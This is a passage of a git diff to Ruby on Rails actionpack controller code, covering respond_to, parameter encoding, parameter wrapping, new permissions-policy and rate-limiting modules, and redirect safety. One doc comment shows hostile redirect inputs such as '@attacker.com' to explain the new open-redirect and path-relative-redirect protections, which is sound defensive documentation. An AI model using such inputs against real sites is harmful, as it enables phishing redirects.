     #     end
-    #   end
     #
     # You can also set an array of variants:
     #
-    #   request.variant = [:tablet, :phone]
+    #     request.variant = [:tablet, :phone]
     #
-    # which will work similarly to formats and MIME types negotiation. If there will be no
-    # +:tablet+ variant declared, +:phone+ variant will be picked:
+    # This will work similarly to formats and MIME types negotiation. If there is no
+    # `:tablet` variant declared, the `:phone` variant will be used:
     #
-    #   respond_to do |format|
-    #     format.html.none
-    #     format.html.phone # this gets rendered
-    #   end
+    #     respond_to do |format|
+    #       format.html.none
+    #       format.html.phone # this gets rendered
+    #     end
     def respond_to(*mimes)
       raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
 
@@ -195,8 +215,11 @@ def respond_to(*mimes)
       yield collector if block_given?
 
       if format = collector.negotiate_format(request)
+        if media_type && media_type != format
+          raise ActionController::RespondToMismatchError
+        end
         _process_format(format)
-        _set_rendered_content_type format
+        _set_rendered_content_type(format) unless collector.any_response?
         response = collector.response
         response.call if response
       else
@@ -204,27 +227,26 @@ def respond_to(*mimes)
       end
     end
 
-    # A container for responses available from the current controller for
-    # requests for different mime-types sent to a particular action.
-    #
-    # The public controller methods +respond_to+ may be called with a block
-    # that is used to define responses to different mime-types, e.g.
-    # for +respond_to+ :
-    #
-    #   respond_to do |format|
-    #     format.html
-    #     format.xml { render xml: @people }
-    #   end
-    #
-    # In this usage, the argument passed to the block (+format+ above) is an
-    # instance of the ActionController::MimeResponds::Collector class. This
-    # object serves as a container in which available responses can be stored by
-    # calling any of the dynamically generated, mime-type-specific methods such
-    # as +html+, +xml+ etc on the Collector. Each response is represented by a
-    # corresponding block if present.
-    #
-    # A subsequent call to #negotiate_format(request) will enable the Collector
-    # to determine which specific mime-type it should respond with for the current
+    # A container for responses available from the current controller for requests
+    # for different mime-types sent to a particular action.
+    #
+    # The public controller methods `respond_to` may be called with a block that is
+    # used to define responses to different mime-types, e.g. for `respond_to` :
+    #
+    #     respond_to do |format|
+    #       format.html
+    #       format.xml { render xml: @people }
+    #     end
+    #
+    # In this usage, the argument passed to the block (`format` above) is an
+    # instance of the ActionController::MimeResponds::Collector class. This object
+    # serves as a container in which available responses can be stored by calling
+    # any of the dynamically generated, mime-type-specific methods such as `html`,
+    # `xml` etc on the Collector. Each response is represented by a corresponding
+    # block if present.
+    #
+    # A subsequent call to #negotiate_format(request) will enable the Collector to
+    # determine which specific mime-type it should respond with for the current
     # request, with this response then being accessible by calling #response.
     class Collector
       include AbstractController::Collector
@@ -255,6 +277,10 @@ def custom(mime_type, &block)
         end
       end
 
+      def any_response?
+        !@responses.fetch(format, false) && @responses[Mime::ALL]
+      end
+
       def response
         response = @responses.fetch(format, @responses[Mime::ALL])
         if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
@@ -272,7 +298,7 @@ def negotiate_format(request)
         @format = request.negotiate_mime(@responses.keys)
       end
 
-      class VariantCollector #:nodoc:
+      class VariantCollector # :nodoc:
         def initialize(variant = nil)
           @variant = variant
           @variants = {}
@@ -289,7 +315,7 @@ def any(*args, &block)
         end
         alias :all :any
 
-        def method_missing(name, *args, &block)
+        def method_missing(name, *, &block)
           @variants[name] = block if block_given?
         end
 
diff --git a/actionpack/lib/action_controller/metal/parameter_encoding.rb b/actionpack/lib/action_controller/metal/parameter_encoding.rb
index 962532ff09857..cf570cd99c9e7 100644
--- a/actionpack/lib/action_controller/metal/parameter_encoding.rb
+++ b/actionpack/lib/action_controller/metal/parameter_encoding.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
   # Specify binary encoding for parameters for a given action.
   module ParameterEncoding
@@ -10,39 +14,70 @@ def inherited(klass) # :nodoc:
       end
 
       def setup_param_encode # :nodoc:
-        @_parameter_encodings = {}
+        @_parameter_encodings = Hash.new { |h, k| h[k] = {} }
       end
 
-      def binary_params_for?(action) # :nodoc:
-        @_parameter_encodings[action.to_s]
+      def action_encoding_template(action) # :nodoc:
+        if @_parameter_encodings.has_key?(action.to_s)
+          @_parameter_encodings[action.to_s]
+        end
       end
 
-      # Specify that a given action's parameters should all be encoded as
-      # ASCII-8BIT (it "skips" the encoding default of UTF-8).
+      # Specify that a given action's parameters should all be encoded as ASCII-8BIT
+      # (it "skips" the encoding default of UTF-8).
       #
       # For example, a controller would use it like this:
       #
-      #   class RepositoryController < ActionController::Base
-      #     skip_parameter_encoding :show
+      #     class RepositoryController < ActionController::Base
+      #       skip_parameter_encoding :show
       #
-      #     def show
-      #       @repo = Repository.find_by_filesystem_path params[:file_path]
+      #       def show
+      #         @repo = Repository.find_by_filesystem_path params[:file_path]
       #
-      #       # `repo_name` is guaranteed to be UTF-8, but was ASCII-8BIT, so
-      #       # tag it as such
-      #       @repo_name = params[:repo_name].force_encoding 'UTF-8'
-      #     end
+      #         # `repo_name` is guaranteed to be UTF-8, but was ASCII-8BIT, so
+      #         # tag it as such
+      #         @repo_name = params[:repo_name].force_encoding 'UTF-8'
+      #       end
       #
-      #     def index
-      #       @repositories = Repository.all
+      #       def index
+      #         @repositories = Repository.all
+      #       end
       #     end
-      #   end
       #
       # The show action in the above controller would have all parameter values
-      # encoded as ASCII-8BIT.  This is useful in the case where an application
-      # must handle data but encoding of the data is unknown, like file system data.
+      # encoded as ASCII-8BIT. This is useful in the case where an application must
+      # handle data but encoding of the data is unknown, like file system data.
       def skip_parameter_encoding(action)
-        @_parameter_encodings[action.to_s] = true
+        @_parameter_encodings[action.to_s] = Hash.new { Encoding::ASCII_8BIT }
+      end
+
+      # Specify the encoding for a parameter on an action. If not specified the
+      # default is UTF-8.
+      #
+      # You can specify a binary (ASCII_8BIT) parameter with:
+      #
+      #     class RepositoryController < ActionController::Base
+      #       # This specifies that file_path is not UTF-8 and is instead ASCII_8BIT
+      #       param_encoding :show, :file_path, Encoding::ASCII_8BIT
+      #
+      #       def show
+      #         @repo = Repository.find_by_filesystem_path params[:file_path]
+      #
+      #         # params[:repo_name] remains UTF-8 encoded
+      #         @repo_name = params[:repo_name]
+      #       end
+      #
+      #       def index
+      #         @repositories = Repository.all
+      #       end
+      #     end
+      #
+      # The file_path parameter on the show action would be encoded as ASCII-8BIT, but
+      # all other arguments will remain UTF-8 encoded. This is useful in the case
+      # where an application must handle data but encoding of the data is unknown,
+      # like file system data.
+      def param_encoding(action, param, encoding)
+        @_parameter_encodings[action.to_s][param.to_s] = encoding
       end
     end
   end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index 7fc898f034d03..d91c624b9f434 100644
--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -1,24 +1,33 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/hash/slice"
 require "active_support/core_ext/hash/except"
 require "active_support/core_ext/module/anonymous"
 require "action_dispatch/http/mime_type"
 
 module ActionController
+  # # Action Controller Params Wrapper
+  #
   # Wraps the parameters hash into a nested hash. This will allow clients to
   # submit requests without having to specify any root elements.
   #
-  # This functionality is enabled in +config/initializers/wrap_parameters.rb+
-  # and can be customized.
+  # This functionality is enabled by default for JSON, and can be customized by
+  # setting the format array:
   #
-  # You could also turn it on per controller by setting the format array to
-  # a non-empty array:
+  #     class ApplicationController < ActionController::Base
+  #       wrap_parameters format: [:json, :xml]
+  #     end
+  #
+  # You could also turn it on per controller:
   #
   #     class UsersController < ApplicationController
   #       wrap_parameters format: [:json, :xml, :url_encoded_form, :multipart_form]
   #     end
   #
-  # If you enable +ParamsWrapper+ for +:json+ format, instead of having to
-  # send JSON parameters like this:
+  # If you enable `ParamsWrapper` for `:json` format, instead of having to send
+  # JSON parameters like this:
   #
   #     {"user": {"name": "Konata"}}
   #
@@ -27,55 +36,56 @@ module ActionController
   #     {"name": "Konata"}
   #
   # And it will be wrapped into a nested hash with the key name matching the
-  # controller's name. For example, if you're posting to +UsersController+,
-  # your new +params+ hash will look like this:
+  # controller's name. For example, if you're posting to `UsersController`, your
+  # new `params` hash will look like this:
   #
   #     {"name" => "Konata", "user" => {"name" => "Konata"}}
   #
-  # You can also specify the key in which the parameters should be wrapped to,
-  # and also the list of attributes it should wrap by using either +:include+ or
-  # +:exclude+ options like this:
+  # You can also specify the key in which the parameters should be wrapped to, and
+  # also the list of attributes it should wrap by using either `:include` or
+  # `:exclude` options like this:
   #
   #     class UsersController < ApplicationController
   #       wrap_parameters :person, include: [:username, :password]
   #     end
   #
-  # On Active Record models with no +:include+ or +:exclude+ option set,
-  # it will only wrap the parameters returned by the class method
-  # <tt>attribute_names</tt>.
+  # On Active Record models with no `:include` or `:exclude` option set, it will
+  # only wrap the parameters returned by the class method `attribute_names`.
   #
-  # If you're going to pass the parameters to an +ActiveModel+ object (such as
-  # <tt>User.new(params[:user])</tt>), you might consider passing the model class to
-  # the method instead. The +ParamsWrapper+ will actually try to determine the
-  # list of attribute names from the model and only wrap those attributes:
+  # If you're going to pass the parameters to an `ActiveModel` object (such as
+  # `User.new(params[:user])`), you might consider passing the model class to the
+  # method instead. The `ParamsWrapper` will actually try to determine the list of
+  # attribute names from the model and only wrap those attributes:
   #
   #     class UsersController < ApplicationController
   #       wrap_parameters Person
   #     end
   #
-  # You still could pass +:include+ and +:exclude+ to set the list of attributes
+  # You still could pass `:include` and `:exclude` to set the list of attributes
   # you want to wrap.
   #
   # By default, if you don't specify the key in which the parameters would be
-  # wrapped to, +ParamsWrapper+ will actually try to determine if there's
-  # a model related to it or not. This controller, for example:
+  # wrapped to, `ParamsWrapper` will actually try to determine if there's a model
+  # related to it or not. This controller, for example:
   #
   #     class Admin::UsersController < ApplicationController
   #     end
   #
-  # will try to check if <tt>Admin::User</tt> or +User+ model exists, and use it to
-  # determine the wrapper key respectively. If both models don't exist,
-  # it will then fallback to use +user+ as the key.
+  # will try to check if `Admin::User` or `User` model exists, and use it to
+  # determine the wrapper key respectively. If both models don't exist, it will
+  # then fall back to use `user` as the key.
+  #
+  # To disable this functionality for a controller:
+  #
+  #     class UsersController < ApplicationController
+  #       wrap_parameters false
+  #     end
   module ParamsWrapper
     extend ActiveSupport::Concern
 
     EXCLUDE_PARAMETERS = %w(authenticity_token _method utf8)
 
-    require "mutex_m"
-
     class Options < Struct.new(:name, :format, :include, :exclude, :klass, :model) # :nodoc:
-      include Mutex_m
-
       def self.from_hash(hash)
         name    = hash[:name]
         format  = Array(hash[:format])
@@ -86,19 +96,20 @@ def self.from_hash(hash)
 
       def initialize(name, format, include, exclude, klass, model) # :nodoc:
         super
+        @mutex = Mutex.new
         @include_set = include
         @name_set    = name
       end
 
       def model
-        super || synchronize { super || self.model = _default_wrap_model }
+        super || self.model = _default_wrap_model
       end
 
       def include
         return super if @include_set
 
         m = model
-        synchronize do
+        @mutex.synchronize do
           return super if @include_set
 
           @include_set = true
@@ -106,6 +117,22 @@ def include
           unless super || exclude
             if m.respond_to?(:attribute_names) && m.attribute_names.any?
               self.include = m.attribute_names
+
+              if m.respond_to?(:stored_attributes) && !m.stored_attributes.empty?
+                self.include += m.stored_attributes.values.flatten.map(&:to_s)
+              end
+
+              if m.respond_to?(:attribute_aliases) && m.attribute_aliases.any?
+                self.include += m.attribute_aliases.keys
+              end
+
+              if m.respond_to?(:nested_attributes_options) && m.nested_attributes_options.keys.any?
+                self.include += m.nested_attributes_options.keys.map do |key|
+                  (+key.to_s).concat("_attributes")
+                end
+              end
+
+              self.include
             end
           end
         end
@@ -115,7 +142,7 @@ def name
         return super if @name_set
 
         m = model
-        synchronize do
+        @mutex.synchronize do
           return super if @name_set
 
           @name_set = true
@@ -128,16 +155,16 @@ def name
       end
 
       private
-        # Determine the wrapper model from the controller's name. By convention,
-        # this could be done by trying to find the defined model that has the
-        # same singular name as the controller. For example, +UsersController+
-        # will try to find if the +User+ model exists.
+        # Determine the wrapper model from the controller's name. By convention, this
+        # could be done by trying to find the defined model that has the same singular
+        # name as the controller. For example, `UsersController` will try to find if the
+        # `User` model exists.
         #
-        # This method also does namespace lookup. Foo::Bar::UsersController will
-        # try to find Foo::Bar::User, Foo::User and finally User.
+        # This method also does namespace lookup. Foo::Bar::UsersController will try to
+        # find Foo::Bar::User, Foo::User and finally User.
         def _default_wrap_model
           return nil if klass.anonymous?
-          model_name = klass.name.sub(/Controller$/, "").classify
+          model_name = klass.name.delete_suffix("Controller").classify
 
           begin
             if model_klass = model_name.safe_constantize
@@ -155,8 +182,7 @@ def _default_wrap_model
     end
 
     included do
-      class_attribute :_wrapper_options
-      self._wrapper_options = Options.from_hash(format: [])
+      class_attribute :_wrapper_options, default: Options.from_hash(format: [])
     end
 
     module ClassMethods
@@ -164,33 +190,34 @@ def _set_wrapper_options(options)
         self._wrapper_options = Options.from_hash(options)
       end
 
-      # Sets the name of the wrapper key, or the model which +ParamsWrapper+
-      # would use to determine the attribute names from.
+      # Sets the name of the wrapper key, or the model which `ParamsWrapper` would use
+      # to determine the attribute names from.
+      #
+      # #### Examples
+      #     wrap_parameters format: :xml
+      #       # enables the parameter wrapper for XML format
       #
-      # ==== Examples
-      #   wrap_parameters format: :xml
-      #     # enables the parameter wrapper for XML format
+      #     wrap_parameters :person
+      #       # wraps parameters into params[:person] hash
       #
-      #   wrap_parameters :person
-      #     # wraps parameters into +params[:person]+ hash
+      #     wrap_parameters Person
+      #       # wraps parameters by determining the wrapper key from Person class
+      #       # (:person, in this case) and the list of attribute names
       #
-      #   wrap_parameters Person
-      #     # wraps parameters by determining the wrapper key from Person class
-      #     (+person+, in this case) and the list of attribute names
+      #     wrap_parameters include: [:username, :title]
+      #       # wraps only :username and :title attributes from parameters.
       #
-      #   wrap_parameters include: [:username, :title]
-      #     # wraps only +:username+ and +:title+ attributes from parameters.
+      #     wrap_parameters false
+      #       # disables parameters wrapping for this controller altogether.
       #
-      #   wrap_parameters false
-      #     # disables parameters wrapping for this controller altogether.
+      # #### Options
+      # *   `:format` - The list of formats in which the parameters wrapper will be
+      #     enabled.
+      # *   `:include` - The list of attribute names which parameters wrapper will
+      #     wrap into a nested hash.
+      # *   `:exclude` - The list of attribute names which parameters wrapper will
+      #     exclude from a nested hash.
       #
-      # ==== Options
-      # * <tt>:format</tt> - The list of formats in which the parameters wrapper
-      #   will be enabled.
-      # * <tt>:include</tt> - The list of attribute names which parameters wrapper
-      #   will wrap into a nested hash.
-      # * <tt>:exclude</tt> - The list of attribute names which parameters wrapper
-      #   will exclude from a nested hash.
       def wrap_parameters(name_or_model_or_options, options = {})
         model = nil
 
@@ -212,9 +239,8 @@ def wrap_parameters(name_or_model_or_options, options = {})
         self._wrapper_options = opts
       end
 
-      # Sets the default wrapper key or model which will be used to determine
-      # wrapper key and attribute names. Will be called automatically when the
-      # module is inherited.
+      # Sets the default wrapper key or model which will be used to determine wrapper
+      # key and attribute names. Called automatically when the module is inherited.
       def inherited(klass)
         if klass._wrapper_options.format.any?
           params = klass._wrapper_options.dup
@@ -225,30 +251,13 @@ def inherited(klass)
       end
     end
 
-    # Performs parameters wrapping upon the request. Will be called automatically
-    # by the metal call stack.
-    def process_action(*args)
-      if _wrapper_enabled?
-        if request.parameters[_wrapper_key].present?
-          wrapped_hash = _extract_parameters(request.parameters)
-        else
-          wrapped_hash = _wrap_parameters request.request_parameters
-        end
-
-        wrapped_keys = request.request_parameters.keys
-        wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
-
-        # This will make the wrapped hash accessible from controller and view
-        request.parameters.merge! wrapped_hash
-        request.request_parameters.merge! wrapped_hash
-
-        # This will display the wrapped hash in the log file
-        request.filtered_parameters.merge! wrapped_filtered_hash
-      end
-      super
-    end
-
     private
+      # Performs parameters wrapping upon the request. Called automatically by the
+      # metal call stack.
+      def process_action(*)
+        _perform_parameter_wrapping if _wrapper_enabled?
+        super
+      end
 
       # Returns the wrapper key which will be used to store wrapped parameters.
       def _wrapper_key
@@ -268,9 +277,11 @@ def _wrap_parameters(parameters)
       def _extract_parameters(parameters)
         if include_only = _wrapper_options.include
           parameters.slice(*include_only)
+        elsif _wrapper_options.exclude
+          exclude = _wrapper_options.exclude + EXCLUDE_PARAMETERS
+          parameters.except(*exclude)
         else
-          exclude = _wrapper_options.exclude || []
-          parameters.except(*(exclude + EXCLUDE_PARAMETERS))
+          parameters.except(*EXCLUDE_PARAMETERS)
         end
       end
 
@@ -279,7 +290,23 @@ def _wrapper_enabled?
         return false unless request.has_content_type?
 
         ref = request.content_mime_type.ref
-        _wrapper_formats.include?(ref) && _wrapper_key && !request.request_parameters[_wrapper_key]
+
+        _wrapper_formats.include?(ref) && _wrapper_key && !request.parameters.key?(_wrapper_key)
+      rescue ActionDispatch::Http::Parameters::ParseError
+        false
+      end
+
+      def _perform_parameter_wrapping
+        wrapped_hash = _wrap_parameters request.request_parameters
+        wrapped_keys = request.request_parameters.keys
+        wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
+
+        # This will make the wrapped hash accessible from controller and view.
+        request.parameters.merge! wrapped_hash
+        request.request_parameters.merge! wrapped_hash
+
+        # This will display the wrapped hash in the log file.
+        request.filtered_parameters.merge! wrapped_filtered_hash
       end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/permissions_policy.rb b/actionpack/lib/action_controller/metal/permissions_policy.rb
new file mode 100644
index 0000000000000..97e372ccf8029
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/permissions_policy.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController # :nodoc:
+  module PermissionsPolicy
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Overrides parts of the globally configured `Feature-Policy` header:
+      #
+      #     class PagesController < ApplicationController
+      #       permissions_policy do |policy|
+      #         policy.geolocation "https://example.com"
+      #       end
+      #     end
+      #
+      # Options can be passed similar to `before_action`. For example, pass `only:
+      # :index` to override the header on the index action only:
+      #
+      #     class PagesController < ApplicationController
+      #       permissions_policy(only: :index) do |policy|
+      #         policy.camera :self
+      #       end
+      #     end
+      #
+      # Requires a global policy defined in an initializer, which can be
+      # empty:
+      #
+      #     Rails.application.config.permissions_policy do |policy|
+      #       # policy.gyroscope :none
+      #     end
+      def permissions_policy(**options, &block)
+        before_action(options) do
+          unless request.respond_to?(:permissions_policy)
+            raise "Cannot override permissions_policy if no global permissions_policy configured."
+          end
+          if block_given?
+            policy = request.permissions_policy.clone
+            instance_exec(policy, &block)
+            request.permissions_policy = policy
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/rate_limiting.rb b/actionpack/lib/action_controller/metal/rate_limiting.rb
new file mode 100644
index 0000000000000..3592827cccedd
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/rate_limiting.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionController # :nodoc:
+  module RateLimiting
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Applies a rate limit to all actions or those specified by the normal
+      # `before_action` filters with `only:` and `except:`.
+      #
+      # The maximum number of requests allowed is specified by `to:` and constrained to
+      # the window of time given by `within:`.
+      #
+      # Both `to:` and `within:` can be static values, callables,
+      # or method names (as symbols) that will be evaluated in the context of the
+      # controller processing the request.
+      #
+      # Rate limits are by default unique to the ip address making the request, but
+      # you can provide your own identity function by passing a callable in the `by:`
+      # parameter. It's evaluated within the context of the controller processing the
+      # request.
+      #
+      # By default, rate limits are scoped to the controller's path. If you want to
+      # share rate limits across multiple controllers, you can provide your own scope,
+      # by passing value in the `scope:` parameter.
+      #
+      # Requests that exceed the rate limit will raise an `ActionController::TooManyRequests`
+      # error. By default, Action Dispatch will rescue from the error and refuse the request
+      # with a `429 Too Many Requests` response. You can specialize this by passing a callable in the `with:`
+      # parameter. It's evaluated within the context of the controller processing the
+      # request.
+      #
+      # Rate limiting relies on a backing `ActiveSupport::Cache` store and defaults to
+      # `config.action_controller.cache_store`, which itself defaults to the global
+      # `config.cache_store`. If you don't want to store rate limits in the same
+      # datastore as your general caches, you can pass a custom store in the `store`
+      # parameter.
+      #
+      # If you want to use multiple rate limits per controller, you need to give each of
+      # them an explicit name via the `name:` option.
+      #
+      # Examples:
+      #
+      #     class SessionsController < ApplicationController
+      #       rate_limit to: 10, within: 3.minutes, only: :create
+      #     end
+      #
+      #     class SignupsController < ApplicationController
+      #       rate_limit to: 1000, within: 10.seconds,
+      #         by: -> { request.domain }, with: :redirect_to_busy, only: :new
+      #
+      #       private
+      #         def redirect_to_busy
+      #           redirect_to busy_controller_url, alert: "Too many signups on domain!"
+      #         end
+      #     end
+      #
+      #     class APIController < ApplicationController
+      #       RATE_LIMIT_STORE = ActiveSupport::Cache::RedisCacheStore.new(url: ENV["REDIS_URL"])
+      #       rate_limit to: 10, within: 3.minutes, store: RATE_LIMIT_STORE
+      #       rate_limit to: 100, within: 5.minutes, scope: :api_global
+      #       rate_limit to: :max_requests, within: :time_window, by: -> { current_user.id }
+      #
+      #       private
+      #         def max_requests
+      #           current_user.premium? ? 1000 : 100
+      #         end
+      #
+      #         def time_window
+      #           current_user.premium? ? 1.hour : 1.minute
+      #         end
+      #     end
+      #
+      #     class SessionsController < ApplicationController
+      #       rate_limit to: 3, within: 2.seconds, name: "short-term"
+      #       rate_limit to: 10, within: 5.minutes, name: "long-term"
+      #     end
+      def rate_limit(to:, within:, by: -> { request.remote_ip }, with: -> { raise TooManyRequests }, store: cache_store, name: nil, scope: nil, **options)
+        before_action -> { rate_limiting(to: to, within: within, by: by, with: with, store: store, name: name, scope: scope || controller_path) }, **options
+      end
+    end
+
+    private
+      def rate_limiting(to:, within:, by:, with:, store:, name:, scope:)
+        by = by.is_a?(Symbol) ? send(by) : instance_exec(&by)
+        to = to.is_a?(Symbol) ? send(to) : (to.respond_to?(:call) ? instance_exec(&to) : to)
+        within = within.is_a?(Symbol) ? send(within) : (within.respond_to?(:call) ? instance_exec(&within) : within)
+
+        cache_key = ["rate-limit", scope, name, by].compact.join(":")
+        count = store.increment(cache_key, 1, expires_in: within)
+        if count && count > to
+          ActiveSupport::Notifications.instrument("rate_limit.action_controller",
+              request: request,
+              count: count,
+              to: to,
+              within: within,
+              by: by,
+              name: name,
+              scope: scope,
+              cache_key: cache_key) do
+            with.is_a?(Symbol) ? send(with) : instance_exec(&with)
+          end
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index 4dfcf4da28dec..25e066608a1d4 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
   module Redirecting
     extend ActiveSupport::Concern
@@ -5,99 +9,217 @@ module Redirecting
     include AbstractController::Logger
     include ActionController::UrlFor
 
-    # Redirects the browser to the target specified in +options+. This parameter can be any one of:
+    class UnsafeRedirectError < StandardError; end
+
+    class OpenRedirectError < UnsafeRedirectError
+      def initialize(location)
+        super("Unsafe redirect to #{location.to_s.truncate(100).inspect}, pass allow_other_host: true to redirect anyway.")
+      end
+    end
+
+    class PathRelativeRedirectError < UnsafeRedirectError
+      def initialize(url)
+        super("Path relative URL redirect detected: #{url.inspect}")
+      end
+    end
+
+    ILLEGAL_HEADER_VALUE_REGEX = /[\x00-\x08\x0A-\x1F]/
+
+    included do
+      mattr_accessor :raise_on_open_redirects, default: false
+      mattr_accessor :action_on_open_redirect, default: :log
+      mattr_accessor :action_on_path_relative_redirect, default: :log
+      class_attribute :_allowed_redirect_hosts, :allowed_redirect_hosts_permissions, instance_accessor: false, instance_predicate: false
+      singleton_class.alias_method :allowed_redirect_hosts, :_allowed_redirect_hosts
+    end
+
+    module ClassMethods # :nodoc:
+      def allowed_redirect_hosts=(hosts)
+        hosts = hosts.dup.freeze
+        self._allowed_redirect_hosts = hosts
+        self.allowed_redirect_hosts_permissions = if hosts.present?
+          ActionDispatch::HostAuthorization::Permissions.new(hosts)
+        end
+      end
+    end
+
+    # Redirects the browser to the target specified in `options`. This parameter can
+    # be any one of:
     #
-    # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
-    # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
-    # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) or a protocol relative reference (like <tt>//</tt>) - Is passed straight through as the target for redirection.
-    # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string.
-    # * <tt>Proc</tt> - A block that will be executed in the controller's context. Should return any option accepted by +redirect_to+.
+    # *   `Hash` - The URL will be generated by calling url_for with the `options`.
+    # *   `Record` - The URL will be generated by calling url_for with the
+    #     `options`, which will reference a named URL for that record.
+    # *   `String` starting with `protocol://` (like `http://`) or a protocol
+    #     relative reference (like `//`) - Is passed straight through as the target
+    #     for redirection.
+    # *   `String` not containing a protocol - The current protocol and host is
+    #     prepended to the string.
+    # *   `Proc` - A block that will be executed in the controller's context. Should
+    #     return any option accepted by `redirect_to`.
     #
-    # === Examples:
     #
-    #   redirect_to action: "show", id: 5
-    #   redirect_to @post
-    #   redirect_to "http://www.rubyonrails.org"
-    #   redirect_to "/images/screenshot.jpg"
-    #   redirect_to posts_url
-    #   redirect_to proc { edit_post_url(@post) }
+    # ### Examples
     #
-    # The redirection happens as a "302 Found" header unless otherwise specified using the <tt>:status</tt> option:
+    #     redirect_to action: "show", id: 5
+    #     redirect_to @post
+    #     redirect_to "http://www.rubyonrails.org"
+    #     redirect_to "/images/screenshot.jpg"
+    #     redirect_to posts_url
+    #     redirect_to proc { edit_post_url(@post) }
     #
-    #   redirect_to post_url(@post), status: :found
-    #   redirect_to action: 'atom', status: :moved_permanently
-    #   redirect_to post_url(@post), status: 301
-    #   redirect_to action: 'atom', status: 302
+    # The redirection happens as a `302 Found` header unless otherwise specified
+    # using the `:status` option:
     #
-    # The status code can either be a standard {HTTP Status code}[http://www.iana.org/assignments/http-status-codes] as an
-    # integer, or a symbol representing the downcased, underscored and symbolized description.
-    # Note that the status code must be a 3xx HTTP code, or redirection will not occur.
+    #     redirect_to post_url(@post), status: :found
+    #     redirect_to action: 'atom', status: :moved_permanently
+    #     redirect_to post_url(@post), status: 301
+    #     redirect_to action: 'atom', status: 302
+    #
+    # The status code can either be a standard [HTTP Status
+    # code](https://www.iana.org/assignments/http-status-codes) as an integer, or a
+    # symbol representing the downcased, underscored and symbolized description.
+    # Note that the status code must be a 3xx HTTP code, or redirection will not
+    # occur.
     #
     # If you are using XHR requests other than GET or POST and redirecting after the
     # request then some browsers will follow the redirect using the original request
     # method. This may lead to undesirable behavior such as a double DELETE. To work
-    # around this  you can return a <tt>303 See Other</tt> status code which will be
+    # around this you can return a `303 See Other` status code which will be
     # followed using a GET request.
     #
-    #   redirect_to posts_url, status: :see_other
-    #   redirect_to action: 'index', status: 303
+    #     redirect_to posts_url, status: :see_other
+    #     redirect_to action: 'index', status: 303
+    #
+    # It is also possible to assign a flash message as part of the redirection.
+    # There are two special accessors for the commonly used flash names `alert` and
+    # `notice` as well as a general purpose `flash` bucket.
     #
-    # It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names
-    # +alert+ and +notice+ as well as a general purpose +flash+ bucket.
+    #     redirect_to post_url(@post), alert: "Watch it, mister!"
+    #     redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
+    #     redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
+    #     redirect_to({ action: 'atom' }, alert: "Something serious happened")
     #
-    #   redirect_to post_url(@post), alert: "Watch it, mister!"
-    #   redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
-    #   redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
-    #   redirect_to({ action: 'atom' }, alert: "Something serious happened")
+    # Statements after `redirect_to` in our controller get executed, so
+    # `redirect_to` doesn't stop the execution of the function. To terminate the
+    # execution of the function immediately after the `redirect_to`, use return.
     #
-    def redirect_to(options = {}, response_status = {})
+    #     redirect_to post_url(@post) and return
+    #
+    # ### Open Redirect protection
+    #
+    # By default, Rails protects against redirecting to external hosts for your
+    # app's safety, so called open redirects.
+    #
+    # Here #redirect_to automatically validates the potentially-unsafe URL:
+    #
+    #     redirect_to params[:redirect_url]
+    #
+    # The `action_on_open_redirect` configuration option controls the behavior when an unsafe
+    # redirect is detected:
+    # * `:log` - Logs a warning but allows the redirect
+    # * `:notify` - Sends an Active Support notification and structured event for monitoring
+    # * `:raise` - Raises an UnsafeRedirectError
+    #
+    # To allow any external redirects pass `allow_other_host: true`, though using a
+    # user-provided param in that case is unsafe.
+    #
+    #     redirect_to "https://rubyonrails.org", allow_other_host: true
+    #
+    # See #url_from for more information on what an internal and safe URL is, or how
+    # to fall back to an alternate redirect URL in the unsafe case.
+    #
+    # ### Path Relative URL Redirect Protection
+    #
+    # Rails also protects against potentially unsafe path relative URL redirects that don't
+    # start with a leading slash. These can create security vulnerabilities:
+    #
+    #     redirect_to "example.com"     # Creates http://yourdomain.comexample.com
+    #     redirect_to "@attacker.com"   # Creates http://yourdomain.com@attacker.com
+    #                                   # which browsers interpret as user@host
+    #
+    # You can configure how Rails handles these cases using:
+    #
+    #     config.action_controller.action_on_path_relative_redirect = :log    # default
+    #     config.action_controller.action_on_path_relative_redirect = :notify
+    #     config.action_controller.action_on_path_relative_redirect = :raise
+    #
+    # * `:log` - Logs a warning but allows the redirect
+    # * `:notify` - Sends an Active Support notification but allows the redirect
+    #   (includes stack trace to help identify the source)
+    # * `:raise` - Raises an UnsafeRedirectError
+    def redirect_to(options = {}, response_options = {})
       raise ActionControllerError.new("Cannot redirect to nil!") unless options
